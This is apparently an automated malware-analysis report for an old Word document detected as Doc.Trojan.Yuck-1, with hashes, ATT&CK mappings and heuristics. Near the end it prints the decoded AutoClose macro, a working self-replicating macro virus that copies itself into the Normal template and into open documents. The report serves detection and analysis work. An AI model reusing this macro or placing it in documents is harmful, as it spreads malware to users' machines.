Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 83f9f7ba1b456c6a…

MALICIOUS

Office (OLE)

27.0 KB Created: 1999-05-02 16:19:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 83780aa65cca649dea3dc9733d36fd5e SHA-1: d7e0d7344c6000b1f968d82a9dd93461495656e2 SHA-256: 83f9f7ba1b456c6a319b6a5b6a26b17cbf7bb32cd3d6dd3106978d847d424f24
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample is a legacy Word document containing a WordBasic AutoClose macro. This macro is designed to copy itself to the Normal template and then save the current document as a template. This behavior is indicative of an attempt to establish persistence or prepare for further malicious execution. The ClamAV detection 'Doc.Trojan.Yuck-1' further supports the malicious nature of the file.

Heuristics 4

  • ClamAV: Doc.Trojan.Yuck-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Yuck-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 903 bytes
SHA-256: 42334bc81932ae49b9a9fc6264b8b0333d1597ed5a367ffaecd1c53812b593cd
Detection
ClamAV: Doc.Trojan.Yuck-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoClose"
Function CopyMac(src, Tgt) As Long
On Error GoTo EndCopyMac
Application.OrganizerCopy _
   Source:=src, _
   Destination:=Tgt, _
   Name:="AutoClose", _
   Object:=wdOrganizerObjectProjectItems
EndCopyMac:
CopyMac = Err.Number
On Error GoTo 0
End Function
Sub MAIN()
ret = CopyMac(ActiveDocument.FullName, NormalTemplate.FullName)
If (ret = 5940) Then
    ret = CopyMac(NormalTemplate.FullName, ActiveDocument.FullName)
  If (ret = 0) Then
     ActiveDocument.SaveAs _
        FileName:=ActiveDocument.FullName, _
        FileFormat:=wdFormatTemplate
  End If
End If
End Sub

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